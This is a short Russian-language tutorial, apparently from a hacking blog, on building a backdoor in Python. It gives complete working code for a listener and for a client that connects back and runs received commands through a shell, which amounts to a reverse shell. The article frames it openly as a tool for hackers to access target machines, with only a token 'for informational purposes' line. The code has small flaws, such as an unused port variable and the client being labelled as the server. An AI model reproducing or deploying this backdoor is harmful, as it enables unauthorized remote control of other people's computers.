Создание бэкдора на Python
Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton
Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.
Создание бэкдора на Python
Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:
1) Получение нашего локального IP и указанного порта.
2) Привязка IP-адреса и порта для создания сокета.
3) Запуск слушателя.
4) Отправка и получение команд в бесконечном цикле.
# Imports
import socket
# Getting our local IP and a specified port
HOST = '127.0.0.1' # '192.168.43.82'
PORT = 8081 # 2222
new_port = input('Input Host Port (Blank if default).')
if (new_port != "\n"):
REMOTE_PORT = new_port
# Binding the IP to the Port
# Creating a Socket
server = socket.socket()
server.bind((HOST, PORT))
# Starting the Listener
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')
# Sending and receiving commands in an infinite loop
while True:
command = input('Enter Command : ')
command = command.encode()
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode()
print(f"Output: {output}")
Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.
Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
client = socket.socket()
Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:
command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
Полный код сервера выглядит следующим образом:
# Imports
from ctypes.wintypes import INT
import socket
import subprocess
# Setting Up IP/Sockets
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
client = socket.socket()
# Initializing Connection
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")
# Runtime Loop
while True:
print("[-] Awaiting commands...")
command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
print("[-] Sending response...")
client.send(output + output_error)
Информация предоставлена для ознакомительных целей!
Мы в телеграме!